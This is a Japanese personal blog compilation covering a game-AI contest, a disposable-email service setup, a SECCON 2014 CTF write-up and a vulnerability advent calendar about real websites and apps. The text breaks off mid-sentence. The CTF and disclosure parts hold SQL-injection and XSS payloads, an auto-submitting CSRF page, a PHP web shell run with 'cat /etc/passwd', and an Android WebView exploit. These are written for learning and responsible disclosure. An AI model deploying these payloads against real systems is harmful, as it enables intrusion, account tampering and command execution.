CODE VS 4.0

CODE VS 4.0に参加した。27位、70点、6145ターン、102714ms。ターン数まで同じになることがほぼ無いので、意味が無いけど、思考時間はランキングに載っている100人の中でyosupoさんに次いで2位。

f:id:kusano_k:20150210002054p:plain

プレイ動画

ソース

https://bitbucket.org/kusano/codevs4/src

戦績

周回 chokudaAI colunAI gelb grun lila rosa schwarz zinnober silber
1
2
3 ×
4 × ×
5 × × ×
AIの概要

速攻型。資源マスの上にワーカーを置きつつ、ワーカーを1体右下に向かわせる。100ターンを超えたらワーカーの作成を控えて拠点を作る。拠点から戦闘ユニットを出して敵の城を探索し、敵の城に向かって戦闘ユニットを固めて送り込む。

資源マスの探索

9マスずつ間を開けてワーカーを走らせ、虱潰しに探す。資源マスを見つけたワーカーは資源マスに向かわせて、資源を確保する。最初は用が済んだワーカーは探索に戻っていたが、後から見つけた資源にワーカーを置く余裕が無かったので、止めた。

資源マスの確保

資源マスには5体までワーカーを置く意味がある。城や近くの村から送る手と、最初のワーカーが村を作り村でワーカーを作る手がある。どちらが得かは資源の距離と現在の生産量による。面倒なのでプログラムでシミュレートして、どこの資源に村を作るかあるいは作らないかを判断するようにした。ソースコード中のbuildVillage。資源ではないところに村を作るのが最善になることもありそうだけど、誤差でしょう。

拠点作成用ワーカー

最初から右下に向かって拠点を作ることを目指すワーカー。最初は専用のワーカーを使わず、たまたま一番右下にいるワーカーを使っていたが、専用のワーカーを用意した方が強かった。一応、敵を躱しながら移動するが、敵に追いやられて明後日の方向に行くことがあったので、ほとんど右か下かを選ぶだけ。

敵の城の探索

拠点から敵の城が存在する可能性のあるエリアの端に向けて戦闘ユニットを送る。最初は敵の城が見つかるまで送り続けていたが、各方向に1体だけ送るようにして、後は城が見つかるまでとりあえず右下に向かって攻撃部隊を送るようにした。たいていは敵の城を見つけられる。失敗して攻撃が遅れた例はプレイ動画のステージ20。

敵の城の攻撃

敵のユニットの攻撃範囲に味方のユニットが複数いるとダメージが分散されるので、固めたほうが強い。ルールに10体以上は10体とみなすとあるので、1マスには10体まで。10体, 20体, 30体と作る度に50体まで増やす。最初は、10体×2マスと、20体×1マスは同じことだと思っていたが、chokudaiさんの放送を見ていて、ルールでは「攻撃範囲に10体」ではなく「1マスに10体」だったと気が付いた。↓のツイートは嘘ではない。

味方の戦闘ユニットの攻撃範囲の敵は少ない方が良いので、戦闘ユニットの中心を敵の城に重ねるのではなく、攻撃範囲の先端が敵の城に当たるようにしている。

戦闘ユニットの種類を考えようと思ったが、grunがこちらの苦手なユニットを出してきたりして面倒なので、ランダムに生成している。

資源マスの奪取

発見済みで味方ユニットがいない(=敵に占拠されている)資源に、ときどきアサシンを送っている。

味方の城の防御

敵が近づいてきたらワーカーを生成する。戦闘ユニットに比べれば弱いけど、無いよりはだいぶマシになる。

反省

上位陣の多くがそうなので、資源の確保をちゃんとするべきだった。そのためには味方の城を一定期間守る必要があるので、拠点は城の上に作るべきだった。何となく守ってもじり貧かと思っていたけど、資源をちゃんと確保すれば守り切れるらしい。

他の人がやっていてなるほどと思ったこと

予想外の攻撃を受けたら近くに城がある。受けなかったら城が無い。ダメージを与えた敵が与えたと同時に死ぬ場合があるので、一工夫必要ではあるらしい。村の視界もちょうど10マスなので次のターンで村を作れば確実。上位陣にとっては当たり前だったらしく、誰も探索用のユニットをばらまいたりしていなかった。

敵AIによる思考ルーチンの切り替え。やはりこれをしないと全勝は厳しいらしい。拠点の場所などを見る手もあるけど、IDが全体を通して連番ということから敵のAI作成数が分かり、そこから推測できると。

(ルール変更前の)CODE VS 4.0 - ustimawのブログ

ステージごとの学習。ステージごとにプログラムが起動されるわけではないので、ステージごとの初期化を忘れてバグるたびに、何でプログラムが動き続ける仕様なんだと愚痴っていた。本戦で最初のステージで敵が速効だと分かったら対策をすると言っている人がいて、なるほどと思った。予選でも、あるAIが出てきたら次からは推測の候補から外すとかできるのかもしれない。

村による城の防御。全く思いつかなかった。スペック表を良く見たら、どう考えても城のほうが優秀だった。「【特徴4】 城の上に村が乗る!前代未聞!」という煽り文句をただのネタだと思っていたが、重要なヒントだったのか……。

大量のメールアドレスを発行可能なウェブサービスを作ってみた

Boids Mail

使ってみてくれるとありがたいけど、明日サービス中止から全メール流出まで何が起こるか分かりません。

f:id:kusano_k:20141230190118p:plain:w480

作ろうと思った経緯とこのサービスの使い道

迷惑メールがうざい。

インターネットができた当初の牧歌的な時代ならともかく、私のアドレスを知っているだけで世界中の誰もが私にメッセージを送れる、電子メールというシステムが時代遅れなのだと思う。TwitterのDMやLINEなどたいていのコミュニケーションツールは受信を許可した相手しかメッセージは送れないし、後から許可を取り消すことができる。とはいえ、これらの新しいコミュニケーションツールは公開されたプロトコルではなく、どこかの会社のサービスなので、限られた人とのやり取りには使えても、ウェブサービスに登録するときなどはあと10年は電子メールを使い続ける必要がありそう。

Gmailでは、(元のアドレス)+(任意の文字列)@gmail.comという形式でメールアドレスを増やせるけれど、元のアドレスがバレバレだし、+が登録できないサイトも多い。元のアドレスと無関係なエイリアスを発行できるサービスは発行できる個数が少なく、登録するサイトごとに別のメールアドレスを使うということはできない。

Gmail のエイリアスは個人情報漏洩対策にならないからやめとけっていう話 | WWW WATCH

Gmailで何とかしようと思うと、登録するサービスごとに元のアドレスに付加する文字列を決めて、それらのアドレス宛の場合は通し、それ以外のアドレスに届いたメールを捨てる必要があって、ちょっと面倒。

ということで、ワンクリックで大量にエイリアスを発行できるサービスがあれば便利なのではと思って、作ってみた。

技術的な詳細

postfixSMTPサーバー)とdovecot(POPサーバー)にデータベースからアカウントを引く機能があったので、それを使っている。あとはPlay Frameworkによるフロントエンドがそのデータベースを弄っているだけ。

postfix

main.cf

queue_directory = /var/spool/postfix
command_directory = /usr/sbin
daemon_directory = /usr/libexec/postfix
data_directory = /var/lib/postfix

mail_owner = postfix

myhostname = boids.info
mydomain = boids.info

inet_interfaces = all
inet_protocols = all
mydestination =

home_mailbox = Maildir/

debug_peer_level = 2
debugger_command =
         PATH=/bin:/usr/bin:/usr/local/bin:/usr/X11R6/bin
         ddd $daemon_directory/$process_name $process_id & sleep 5

virtual_mailbox_domains = boids.info
virtual_mailbox_base = /var/mail/vhosts
virtual_mailbox_maps = mysql:/etc/postfix/mailbox_map.cf
virtual_minimum_uid = 10000
virtual_uid_maps = static:10000
virtual_gid_maps = static:10000
virtual_mailbox_limit_maps = static:100000000
virtual_mailbox_limit_inbox = no
virtual_mailbox_limit_override = yes
virtual_maildir_extended = yes
virtual_overquota_bounce = yes
virtual_maildir_limit_message = "User over quota, try again"
virtual_trash_count = yes
virtual_trash_name = ".Trash"
message_size_limit = 10000000

mailbox_map.cf

user = postfix
password = xxxxxxxxxxxxxxxx
dbname = boids
query = SELECT concat(mailbox, '/') FROM user INNER JOIN address ON user.id=address.user WHERE concat(address.address, '@boids.info')='%s' and address.active!=0

%sにメールアドレスが入った状態でデータベースを引いて、メールを格納するディレクトリが出てくれば良い。Maildirでメールボックスのサイズを制限するにはパッチを当てる必要があって、ちょっと面倒だった。

[CentOS6] Postfixによるメールサーバ構築 その1 (PostfixをSRPMからリビルド) | CentOSサーバ構築術 文具堂

dovecot

dovecot.conf

protocols = pop3
disable_plaintext_auth = no
ssl = yes
ssl_cert = </etc/ssl/certs/boids.info.pem
ssl_key = </etc/ssl/certs/boids.info.pem
mail_location = maildir:%h
auth_mechanisms = plain apop cram-md5
passdb {
  driver = sql
  args = /etc/dovecot/sql.conf.ext
}
userdb {
  driver = prefetch
}

sql.conf.ext

driver = mysql
connect = host=localhost dbname=boids user=dovecot password=xxxxxxxxxxxxxxxx
password_query = SELECT \
    concat('{PLAIN}', pop_password) as password, \
    concat('/var/spool/mail/vhosts/', mailbox) as userdb_home, \
    'vuser' as userdb_uid, \
    'vuser' as userdb_gid \
    FROM user WHERE pop_id = '%u' and active!=0

%uにユーザー名が入った状態でデータベースを引いて、password, home, uid, gidが出てくれば良い。userdbでdriver = prefetchとするとパスワードとユーザー情報の問い合わせがまとめられて1回になるらしい。その場合、home, uid, gidにuserdb_を付ける必要がある。嵌まった。

サーバーもドメインも他と一緒にしないで、別に買った。金額は全部税込み。

サーバー 11,664円/年

+初期費用が1,620円。さくらのVPS 1G。1年分まとめて払えばちょっと安くなるけど、1年も続けるか分からないので、月払いにしている。

ドメイン 1,080円/年

VALUE DOMAIN、上位レジストラはKeySystems、.info。

証明書 1,300円/年

どうせなので、HTTPSにして、POPもTLSを使えるようにした。SSLストアRapidSSLを買った。

ロゴの後ろの鳥の写真 0円

pixabayというサイトで探した。ありがとうございます。shutterstockの有料の画像が広告として出てくるので注意。

まとめ

Gmailにこの機能が付いてくれ(人∀・)タノム

追記

捨てアドブラックリストに入れられちゃうオチなんだよなあ

http://b.hatena.ne.jp/enkunkun/20141230#bookmark-237680291

なるほど……。

同じサービスがすでにあると教えてもらった(´・ω・`) POPでの受信こそできないけどアプリがあるから困らなそうだし、メールの送信もできる。

https://m.kuku.lu/

追記2

自分ですら使わなかったので閉鎖した。本当はメインのメールアドレスとして使いたかったけど、も数年間維持できるか分からないし、そうなると捨てアドくらいにしか使えない。

ソースコードhttps://github.com/kusano/boids

SECCON 2014 オンライン予選(英語)Write-up

SECCON 2014 オンライン予選(英語)

2600点。全国大会に行けるのか微妙な順位だな……。

Welcome to SECCON (Start, 100)

SECCON{20141206}

Easy Cipher (Crypto, 100)

2, 8, 10, 16進数の数字が並んでいる。

A = "87 101 … 0156 33"
A = A.split()
B = ""
for a in A:
    if any(c in a for c in "abcdef"):
        b = 16
    elif a[0]=="0":
        b = 8
    elif len(a)>4:
        b = 2
    else:
        b = 10
    B += chr(int(a, b))
print B
Welcome to the SECCON 2014 online CTF.The SECCON is the biggest hacker contest in Japan.Oops, you want to know the flag, don't you?Here you are.SECCON{W31C0M 70 7H3 53CC0N ZOIA}Have fun!
SECCON{W31C0M 70 7H3 53CC0N ZOIA}

Decrypt it (Easy) (Crypto, 200)

解けなかった。

プログラムと暗号化したファイルが与えられる。暗号化は、srand(time(NULL))して各バイトとrand()%256をxor。拡張子からPNGファイルだと分かるので乱数の種を総当たり。

#include <stdio.h>
#include <stdlib.h>
#include <time.h>

int main()
{
    int t = time(NULL);
    while (true)
    {
        t--;
        srand(t);
        if ((0x89^(rand()%256))==0x34 &&
            (0x50^(rand()%256))==0x70 &&
            (0x4e^(rand()%256))==0xf0 &&
            (0x47^(rand()%256))==0x2d)
        {
            printf("OK\n");
            break;
        }
    }
    srand(t);
    FILE *in = fopen("ecrypt1.bin", "rb");
    FILE *out = fopen("crypt1.png", "wb");
    for (int i=0; i<0xb3a5; i++)
        fputc(fgetc(in)^(rand()%256), out);
    fclose(in);
    fclose(out);
}

この画像が出てくる。

f:id:kusano_k:20141207172658p:plain

pとqの桁数なら総当たりができるので、mod pとqに対してMを求めて、中国人剰余定理を使えば良い。

def sub(c,b,n):
    for i in range(n):
        if i*(i+b)%n==c:
            return i

def exgcd(x,y):
    r0,r1 = x,y
    a0,a1 = 1,0
    b0,b1 = 0,1
    while r1>0:
        q1 = r0/r1
        r2 = r0%r1
        a2 = a0-q1*a1
        b2 = b0-q1*b1
        r0,r1 = r1,r2
        a0,a1 = a1,a2
        b0,b1 = b1,b2
    return a0,b0,r0

def solve(N,B,C):
    p = 2
    while N%p!=0:
        p += 1
    q = N/p
    
    a1 = sub(C%p,B%p,p)
    a2 = sub(C%q,B%q,q)
    
    x,y,_ = exgcd(p, q)
    M = (a1+(a2-a1)*x*p)%N
    
    assert(M*(M+B)%N == C)
    
    return M

m1 = solve(0xB8AE199365, 0xFFEEE, 0x8D5051562B)
m2 = solve(0xB86E78C811, 0xFFFEE, 0x5FFA0AC1A2)
m3 = solve(0x7BD4071E55, 0xFEFEF, 0x6008DDF867)

print hex(m1)
print hex(m2)
print hex(m3)

答えは、M=6568C65128, M=865609C5EE, M=19A297DFE9。この後どうして良いのか分からない。SECCON{6568C65128865609C5EE19A297DFE9}は不正解だった。

Decrypt it (Hard) (Crypto, 300)

手を付けていない。

Ms.Fortune? Misfortune. : 4096-bit RSA (Crypto, 400)

手を付けていない。

Shuffle (Binary, 100)

FLAGをシャッフルして出力するプログラムらしい。0x804854bあたりがシャッフル前のフラグを設定する処理。

SECCON{Welcome to the SECCON 2014 CTF!}

Reverse it (Binary, 100)

ファイルを逆に読んで、各バイトの上位4バイトと下位4バイトを交換するとJpegになる。

def f(c):
    t = ord(c)
    return chr(t>>4|t<<4&0xf0)
x = open("Reverseit","rb").read()
open("ans.jpg","wb").write("".join(map(f, x[::-1])))
SECCON{6in_tex7}

Let's disassemble (Binary, 200)

解けなかった。

指定されたポートに繋ぐと、16進数が出題される。x86ではないらしい。

Advanced RISC Machine (Exploit, 200)

手を付けていない。

ROP: Impossible (Exploit, 500)

手を付けていない。

Holy shellcode (Exploit, 400)

手を付けていない。

Japanese super micro-controller (Exploit, 500)

手を付けていない。

jspuzzle (Web, 100)

alertするJavaScriptになるように、穴埋めする。

({"function" :function(){
    this[ "null" ] = (new Function( "return" + "/*^_^*/" + "this" ))();
    var pattern = "^[w]$";
    var r = new RegExp( pattern );
    this[ r[ "exec" ]( pattern ) ][ "alert" ]( 1 );
}})[ "Function"[ "toLowerCase" ]() ]();

変数に設定してあとから読み出すところが2箇所あるけど、同じ単語を2回は使えないので何とかする必要がある。

REA-JUU WATCH (Web, 200)

ブラウザ上で選択肢を選んでいく。最後に点数をhttp://reajuu.pwn.seccon.jp/users/chk/:idからJSONで取得している。http://reajuu.pwn.seccon.jp/users/chk/1にアクセスすると、

{"username":"rea-juu","password":"way_t0_f1ag","point":99999}

が出てくるので、これでログイン。

SECCON{REA_JUU_Ji8A_NYAN}

Bleeding "Heartbleed" Test Web (Web, 300)

Hertbleedのスキャナーが置いてある。試験結果はデータベースに保存するらしい。

16 03 02 00 01 0e 18 03 02 00 ff 61 61 61 61 61
61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61
61 61 …

こんなファイルを用意して、

nc -l 1234 < attack.bin

とncで待ち受けて、スキャナーで自分のIPアドレスとポートを指定すると、スキャナーにaaa…と表示される。試しに'を含めるとエラーになる。ソースコード中に

<!-- DEBUG: INSERT OK. TIME=1417868674 -->

という行がある。スキャン結果の保存時は問題が無いけど、この時刻の取得時にSQLインジェクションが可能らしい。SQLiteなのになぜか--コメントアウトが使えなくて、DBエンジンが何なのか迷った。

aaa' union SELECT group_concat(sql) from sqlite_master where 'a'!='aaa…

を送ると、

<!-- DEBUG: INSERT OK. TIME=CREATE TABLE results ( time, host, result ),CREATE TABLE ssFLGss ( flag ),CREATE TABLE ttDMYtt ( dummy ) -->
aaa' union select flag from ssFLGss where 'a'!='aaa…

を送ると、

<!-- DEBUG: INSERT OK. TIME=SECCON{IknewIt!SQLiteAgain!!!} -->
SECCON{IknewIt!SQLiteAgain!!!}

Binary Karuta (Web, 400)

手を付けていない。

XSS Bonsai (aka. Hakoniwa XSS Reloaded) (Web, 500)

f:id:kusano_k:20141207175005p:plain

SECCONで良く出ている、箱庭XSS。落ちたり、フラグが文字化けしたり散々だったけど、途中で修正版が配布された。

alert('XSS')を実行すると次に進める。一度使った単語は使えなくなる。過去のWrite-upを参考に中のIEを 11にすると、文字列中から文字を取り出せるようになる。(1234)["constructor"]["constructor"]("alert('XSS')")()を実行すれば良く、文字列をランダムな文字列から組み立てれば、制限を迂回できる。最初のほうは一工夫必要だけど、途中からはそのまま文字列が書き出されるので、イベントハンドラを色々使っていくだけ。これが役に立った。ありがとうございます。最後は&\[も使えなくなる。修正版でもエラーは出たけど、「続行」で問題無かった。ondragはなぜか落ちるので使えない。

https://gist.github.com/kusano/b68995e9725e10b6d7cd

色々試している途中に不思議な挙動があった。

x3caxui/\x6fnmouseenter=$=~[];$={___:++$,$$$$:(![]+'')[$],__$:++$,$_$_:(![]+'')[$],_$_:++$,$_$$:({}+'')[$],$$_$:($[$]+'')[$],_$$:++$,$$$_:(!''+'')[$],$__:++$,$_$:++$,$$__:({}+'')[$],$$_:++$,$$$:++$,$___:++$,$__$:++$};$.$_=($.$_=$+'')[$.$_$]+($._$=$.$_[$.__$])+($.$$=($.$+'')[$.__$])+((!$)+'')[$._$$]+($.__=$.$_[$.$$_])+($.$=(!''+'')[$.__$])+($._=(!''+'')[$._$_])+$.$_[$.$_$]+$.__+$._$+$.$;$.$$=$.$+(!''+'')[$._$$]+$.__+$._+$.$+$.$$;$.$=($.___)[$.$_][$.$_];$.$($.$($.$$+'\''+$.$_$_+(![]+'')[$._$_]+$.$$$_+'\\'+$.__$+$.$$_+$._$_+$.__+'(/\\'+$.

を投稿すると、下のソースの部分がリンクのようになる。

f:id:kusano_k:20141207193657p:plain

↑の先頭のxを消すと、ハイライトされなくなる。

f:id:kusano_k:20141207193800p:plain

3まで消すと元通り。

SECCON{8e607c8dfce7bb248099wfe9a5ed99} (200点)
SECCON{1a93W8efc707eeecebc5bba619eb}

QR (Easy) (QR, 200)

QRコードがホットケーキに焼かれて、半分食べられている(;・∀・) 

これを使うだけだった。便利なツールだ。

?????????????????x    xxxxxxx
????????????????? xxx x     x
?????????????????x xx x xxx x
????????????????? x   x xxx x
?????????????????xx x x xxx x
????????????????? x x x     x
????????????????? x x xxxxxxx
????????????????? x x        
??????????????????x xx xxxxx 
?????????????????x x x x    x
???????????????????x x  xxxx 
???????????????????    xxxxxx
?????????????????? x   xxx   
??????????????????  x xx x x 
??????????????????   xxxxxxx 
??????????????????  xx   x x 
??????????????????  xx x  x x
???????????????????xxx   x   
??????????????????? x   x x x
??????????????????   x  x  xx
?????????????????? xxxxxx xxx
??????????????????  x   x   x
???????????????????xx x x x  
???????????????????xx   x    
???????????????????xxxxxx x x
?????????????????? x x x xx  
??????????????????xxxxx   xxx
???????????????????x   xx x x
???????????????????xx xxxx xx

形式情報が読めないので、適当に試してみる。

QR (Easy)>sqrd.py -e 2 -m 1 < qr.txt
SECCON;PSwIQ9d9GjKTdD8H}

読み間違ったか文字化けしている。フラグ本体じゃなくて良かった。

SECCON{PSwIQ9d9GjKTdD8H}

SECCON Wars: The Flag Awakens (QR, 300)

曲の権利は大丈夫なんですかね?

大丈夫らしい。

https://support.google.com/youtube/answer/3376882?hl=ja

良く見ると、後半のSECCONのロゴが出てくるところで、QRコードが流れている。aviutlで連番BMPで出力して、次のスクリプトで下1行を貼り合わせた。

import Image

w, h, n = 320, 240, 1199

c = Image.new("RGB", (w,n))
for i in range(n):
    print i
    t = Image.open("bmp\\wars_%04d.bmp"%i)
    t = t.crop((0, h-2, w-1, h-1))
    c.paste(t, (0, i))
c.save("qr.png")

f:id:kusano_k:20141207180939p:plain

あとは画像処理ソフトで、適当に縦に伸ばして白黒にした。

SECCON{M4Y 7H3 F0RC3 83 W17H U}

BBQR (QR, 400)

解けなかった。

今度は前半部分が消えている。リードソロモンで復号するには、4バイト足りない。

Get the key.txt (Forensics, 100)

最初は解けなくて放置していたけど、解けている人が大勢いるのでもう一度取りかかったら簡単だった。

ext2のイメージ。key.txtを開いて見ると、gzip圧縮されたファイルで、中身はkey60.txt。grepすると382-1の中身がkey.txtらしいので展開。

SECCON{@]NL7n+-s75FrET]vU=7Z}

Read it (Forensics, 300)

解けなかった。

fileコマンドによるとWordPerfectと出てきたので、500円出してAndroid版のビュワーを買ったけど読めなかった(´・ω・`)

UnknownFS (Forensics, 400)

誰も解けていない。

Confused analyte (Forensics, 500)

解けなかった。

volatilityがどうこうと書いてあるので、VMで実行して、volatilityに掛けようとしたけど、シグネチャが手に入らず終了。volatility、Windows 10のメモリは解析してくれなくて嵌まった。

Choose the number (Programming, 100)

与えられた数字列から最小や最大の数字を返すだけ。

from socket import *

s = socket(AF_INET, SOCK_STREAM)
s.connect(("number.quals.seccon.jp", 31337))

while True:
    t =  s.recv(10000)
    print t
    if "Congratulations" in t:
        for _ in range(10):
            print s.recv(10000)
    t = t.split("\n")
    f = min if "min" in t[1] else max
    ans = f(map(int, t[0].split(", ")))
    print "ans:",ans
    s.send(str(ans)+"\n")
The flag is SECCON{Programming is so fun!}

The Golden Gate (Programming, 400)

解けなかった。エンコーダーの写真と暗号文が与えられる。NANDを使ってXORを作っている。

def encrypt2(input):
    i0 =     input[0]
    i1 = not input[1]
    i2 =     input[2]
    i3 = not input[3]
    i4 =     input[4]
    i5 =     input[5]
    i6 = not input[6]
    i7 = not input[7]

    c1 = i0^i2
    c2 = i5^i6
    c3 = i4^i6
    c4 = 1^i5
    c5 = i1^i6
    c6 = i3^c2
    c7 = i2^c3
    c8 = c1^c2
    c9 = c2^c4
    c10 = i7^c1
    
    o0 = c6
    o1 = c3
    o2 = c7
    o3 = c5
    o4 = c8
    o5 = c4
    o6 = c9
    o7 = c10
    
    return (o0, o1, o2, o3, o4, o5, o6, o7)

スイッチを下にして裏側から見て、スイッチが右側から、i0, i1…。LEDも右から、o1, o2…。こういう処理だと思うのだけど、デコードできない……。

問題終了後にヒントが出ていた。

LEDの点灯・消灯が逆だったorz

def nand(a, b):
    return not (a and b)

def encode(input):
    i0 = input[0]
    i1 = input[1]^1
    i2 = input[2]
    i3 = input[3]^1
    i4 = input[4]
    i5 = input[5]
    i6 = input[6]^1
    i7 = input[7]^1

    c1 = i0^i2
    c2 = i5^i6
    c3 = i4^i6
    c4 = 1^i5
    c5 = i1^i6
    c6 = i3^c2
    c7 = i2^c3
    c8 = c1^c2
    c9 = c2^c4
    c10 = i7^c1
    
    o0 = c6^1
    o1 = c3^1
    o2 = c7^1
    o3 = c5^1
    o4 = c8^1
    o5 = c4^1
    o6 = c9^1
    o7 = c10^1
    
    return (o0, o1, o2, o3, o4, o5, o6, o7)

T = []
for p in range(256):
    c = encode([p>>i&1 for i in range(8)[::-1]])[::-1]
    T += [sum(int(c[i])<<i for i in range(8))]

C = "BQDykmgZ0I6SaQnq4o/iEONudetXdPJdpl1UVSlU69oZOtvqnHfinOpcEfIjXy9okkVpsuw2kpKS=="
C = C.decode("base64")

P = "".join(chr(T.index(ord(c))) for c in C)

print repr(P)
open("answer.gz", "wb").write(P)

gzipで解凍。

The flag is SECCON{Hlvd0toiXgloBhTM}

Get the key (Network, 10100)

pcapファイルを見てみると、BASIC認証のページにアクセスしている。AuthorizationヘッダをBase64デコードするだけ。seccon2014:YourBattleField

SECCON{Basic_NW_Challenge_Done!}

Get from curious "FTP" server (Network, 300)

FTPサーバー。良く分からないけど、ACCTコマンドでファイル一覧が取れた。

Get from curious FTP server>nc ftpsv.quals.seccon.jp 21
220 (vsFTPd 2.3.5(SECCON Custom))
USER anonymous
331 Please specify the password.
PASS hoge
230 Login successful.
PASV
227 Entering Passive Mode (133,242,224,21,133,159).
ACCT
150 Here comes the directory listing.
226 Directory send OK.
Get from curious FTP server>nc ftpsv.quals.seccon.jp 21
220 (vsFTPd 2.3.5(SECCON Custom))
USER anonymous
331 Please specify the password.
PASS hoge
230 Login successful.
PASV
227 Entering Passive Mode (133,242,224,21,177,125).
RETR key_is_in_this_file_afjoirefjort94dv7u.txt
150 Opening BINARY mode data connection for key_is_in_this_file_afjoirefjort94dv
7u.txt (38 bytes).
226 Transfer complete.
QUIT
221 Goodbye.

データ側はこんな感じ。

Get from curious FTP server>nc 133.242.224.2
1 34207
-rw-r--r--    1 0        0              38 Nov 29 04:43 key_is_in_this_file_afjoirefjort94dv7u.txt
Get from curious FTP server>nc 133.242.224.21 45437
SECCON{S0m3+im3_Pr0t0c0l_t411_4_1i3.}
SECCON{S0m3+im3_Pr0t0c0l_t411_4_1i3.}

version2 (Network, 200)

解けなかった。

HTTP2?

脆弱性 Advent Calendar 2014

脆弱性"&'<<>\ Advent Calendar 2014 - Adventar

1日目 AtCoder

AtCoder

AtCoderができたばかりの頃は、クロスサイトリクエストフォージェリの対策がなされていなくて、下記のような罠ページをログイン済みのターゲットに踏ませれば、プロフィールを書き換えることが可能だった。確認はしていないけど、コンテスト中に間違ったソースコードを投稿させてペナルティをあたえたりもできたかもしれない。

<!DOCTYPE html>
<html>
  <head>
    <meta charset="utf-8">
    <title>AtCoder CSRF Test</title>
  </head>
  <body onload="document.getElementById('form').submit()">
    <form id="form" target="frame" method="POST" action="http://arc002.contest.atcoder.jp/settings">
      <input type="hidden" name="user_name" value="test">
      <input type="hidden" name="user_screen_name" value="test">
      <input type="hidden" name="mail" value="test@example.com">
      <input type="hidden" name="affiliation" value="test">
      <input type="hidden" name="twitter_id" value="test">
    </form>
    <iframe id="frame" width="1" height="1">
    </iframe>
  </body>
</html>

そもそも、何も対策をしないと脆弱性になってしまうという意味で、POSTをクロスサイトで送れるというHTTPの仕様が間違いだと思うのだけど、今さら変えられないのだろうな……。

2日目 BuzzNews

BuzzNews

著作権侵害で炎上したキュレーションサービス。反省して(?)画像を直リンするようになったけど、最近は元に戻っている。

エスケープが全くされていなかったので、下記のURLでクロスサイトスクリプティングが可能だった。

http://buzznews.asia/tag/%3Cscript%3Ealert%28location%29%3C/script%3E

修正されたけど、<title>の部分はエスケープがされないままだった。このURLそのままでは動作しないけど、次のように<title>を閉じるとスクリプトが動作した。報告するときはエスケープされていない箇所全てでスクリプトが動作するように工夫するべきなのかもしれない。

http://buzznews.asia/tag/%3C/title%3E%3Cscript%3Ealert%28location%29%3C/script%3E

クロスサイトスクリプティングの悪用方法

ウィキペディアに書いてあるように、クッキーを奪取すれば、ログインしているユーザーに成り代わって(パスワードの再入力が不要な事なら)何でもできる。クッキーがHTTP onlyで奪取が無理でも、ページの内容を読み取って外部に送信したり、ユーザーの代わりにリクエストを送ったりできる。

一方で、BuzzNewsのようにユーザーが見るだけのサイトの場合、できることがあまり無い。「このサイトは閉鎖しました」と偽の掲示をするくらいだろうか。実は鬼の首をとったかのように騒ぐことではないのかもしれない。

セキュリティ過敏症 - ぼくはまちちゃん!(Hatena)

3日目 東北大学生協

東北大学生協

一言カードのページで「TEAS'TEA」と検索したら、検索結果の欄が真っ白になった。検索結果が無い場合は、真っ白ではなく、無いと表示される。SQLインジェクションのようで、下手に突っついてDBが飛んだりしたらマズいので、余計な事はしないでIPAに報告した。

クロスサイトリクエストフォージェリが可能で、ちょうどクロスサイトフォージェリによる遠隔操作での冤罪が話題になっていた時期だったのでこれも報告したけど、脆弱性ではないということだった。

4日目 某割れサイト

某割れサイトに、このアップローダーが設置されていた。配布サイトには

扱えるファイルの種類についての制限はありません。単なる画像アップローダとは違い様々な作業で利用できる反面危険ですので各種パスワードは信頼できる相手(共同運営者等)以外には知らせずに運用してください。

という注意書きがあるのに、アップロードが可能なパスワードもサイトに書いてあった。

任意のファイルがアップロードできるので、拡張子が.phpのファイルをアップロードすると、スクリプトがそのまま実行できる。スクリプトをいちいち書き換えるのが面倒ならば、

<?php
passthru($_GET['cmd']);

というファイルをアップロードしておけば、

http://example.com/uploader/files/attack.php?cmd=cat%20/etc/passwd

のようにして好きなコマンドを実行できる。

5日目 ヨドバシAndroidアプリ)

ヨドバシ(Androidアプリ)

WebViewに関する脆弱性HTTPSの証明書検証に関する脆弱性の2個。

WebViewに関する脆弱性

Androidで最も作り込みやすい脆弱性だと思う。このスライドが詳しい。要するに、addJavaScriptInterfaceというメソッドによってWebView中のJavaScriptAndroid側のクラスにアクセスできるようになる。呼び出されていることを想定しているメソッドだけが呼び出されるのかと思いきや、contextが取れて、結局そのアプリが持っている権限で好きなことができる。

でも、ヨドバシのアプリってヨドバシのページしか表示しないよね?→ページ内にTwitterとかはてなブックマークがあって、ヨドバシのページ以外も表示できた。そこから攻撃者が用意したページまで辿り着く人なんてまずいないだろうけど。

バイブレーターを動かす攻撃コード。ヨドバシの場合は local_objJavaScript側に追加されるオブジェクト。

<!DOCTYPE html>
<html>
  <head>
    <title>Yodobashi Exploit</title>
  </head>
  <body>
    <pre>
<script type="text/javascript">
//  http://pastebin.com/1TyU7TT0
var loader = local_obj.getClass().getClassLoader();
var util = loader.loadClass("android.webkit.JniUtil");
var field = util.getDeclaredField("sContext");
field.setAccessible(true);
var context = field.get(util);
var cvib = loader.loadClass("android.os.Vibrator");
var vib = cvib.cast(context.getSystemService("vibrator"))
vib.vibrate(1000);
</script>
    </pre>
  </body>
</html>

HTTPSの証明書検証

HTTPSでエラーが発生しても無視して続行していた。これでは攻撃者が中間者攻撃でオレオレ証明書を送り込んでも検知できない。Burp Suiteか何かをPCにインストールして、Androidのプロキシに設定すると確認できる。

public void onReceivedSslError(WebView paramWebView, SslErrorHandler paramSslErrorHandler, SslError paramSslError)
{
    paramSslErrorHandler.proceed();
}

6日目 拡散性ミリオンアーサーAndroid版)

拡散性ミリオンアーサー(Android版)

バイナリエディタ/sdcard/Android/data/com.square_enix.million/files/save/appdata/save_appdata を開いたらパスワードが見えた。Windowsではどこに保存したところで他のアプリから見えてしまうけど、Androidでは他のアプリから見えないようにできるので、見えないようにするべき。アプリの領域ではなく、SDカードに保存すると他のアプリから見えてしまう。古いAndroidではSDカードの読み取りに何の権限も要らない。

f:id:kusano_k:20141206013252p:plain

昔は、READ_PHONE_STATE(IMEIとか電話番号の取得)が要求されていて、再インストールしてもパスワードが要求されなかったので、IMEIで認証していたのかもしれない。詳しく調べていないので分からない。IMEIは他のアプリからの取得可能なので、認証に使うべきではない。

7日目 WordPressを使った某ブログ

WordPressを使ったとあるブログで、 /wp-config.php.bak が閲覧可能になっていた。 /wp-config.php~/wp-config.php.swp もうっかり残る可能性があるので危険。

8日目 teratail

teratail

質問がMarkdown記法が使えるけれど、ここでXSSができた。あくまで、プレビューで動いただけで、投稿したときにもスクリプトが動くのかは分からない。

画像。

![説明][WIDTH:600](hogehoge.jpg)

<img src="/uploads/contributed_images/hogehoge.jpg" width="600" alt="説明">

に変換される。

!["><script>alert(location)</script>](0)

<img src="0" alt=""><script>alert(location)</script>">

になってスクリプトが動いた。報告したら修正されたけど、たしか、<>をエスケープするという対応だったので、

